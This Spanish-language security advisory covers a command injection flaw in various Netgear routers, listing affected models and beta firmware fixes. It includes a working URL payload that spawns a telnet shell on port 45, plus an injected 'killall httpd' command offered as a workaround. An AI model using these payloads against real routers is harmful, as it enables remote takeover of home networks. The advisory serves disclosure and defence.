Se ha confirmado una vulnerabilidad de inyección de
comandos en múltiples modelos de routers Netgear. El problema es especialmente
grave dada la facilidad con que se puede reproducir.
Netgear ha confirmado el problema y ratifica que afecta a
los siguientes modelos:
- R6250
- R6400
- R6700
- R6900
- R7000
- R7100LG
- R7300DST
- R7900
- R8000
- D6220
- D6400
La vulnerabilidad puede permitir a un atacante remoto
ejecutar comandos arbitrarios en los dispositivos afectados. Basta con tener
acceso a la interfaz de administración web del router (aunque no se esté
autenticado). Para conseguir su objetivo el atacante puede convencer o engañar
al usuario para que visite un sitio web específicamente creado.
El ataque se reduce a:
http:///cgi-bin/;COMANDO
Un atacante puede abrir un Telnet remoto en el puerto 45,
con una petición como:
http://RouterIP/;telnetd$IFS-p$IFS'45'
Como contramedida se puede desactivar la interfaz de
administración web, mediante el siguiente comando:
http:///cgi-bin/;killall$IFS'httpd'
"NETGEAR is working on a production firmware version that fixes this command injection vulnerability and will release it as quickly as possible." ("NETGEAR está trabajando en una versión de firmware de producción que corrija esta vulnerabilidad de inyección de comandos y la publicará lo más rápido posible")
En la actualidad existen versiones beta del firmware que
solucionan el problema para los siguientes modelos:
- R6250 http://kb.netgear.com/000036456/R6250-Firmware-Version-1-0-4-6-Beta
- R6700 http://kb.netgear.com/000036457/R6700-Firmware-Version-1-0-1-14-Beta
- R6900 http://kb.netgear.com/000036462/
- R7100LG http://kb.netgear.com/000036461/R7100LG-Firmware-Version-1-0-0-28-Beta
- R7300DST http://kb.netgear.com/000036460/R7300DST-Firmware-Version-1-0-0-46-Beta
- R7900 http://kb.netgear.com/000036459/R7900-Firmware-Version-1-0-1-8-Beta
- D6220 http://kb.netgear.com/000036463/D6220-Firmware-Version-1-0-0-22-Beta
- D6400 http://kb.netgear.com/000036464/D6400-Firmware-Version-1-0-0-56-Beta
- R6400 http://kb.netgear.com/000036533/R6400-Firmware-Version-1-0-1-18
- R7000 http://kb.netgear.com/000036470/R7000-Firmware-Version-1-0-7-6
- R8000 http://kb.netgear.com/000036534/R8000-Firmware-Version-1-0-3-26
- Netgear R7000 - Command Injection https://www.exploit-db.com/exploits/40889/
- Multiple Netgear routers are vulnerable to arbitrary command injection http://www.kb.cert.org/vuls/id/582384
- Security Advisory for VU 582384 http://kb.netgear.com/000036386/CVE-2016-582384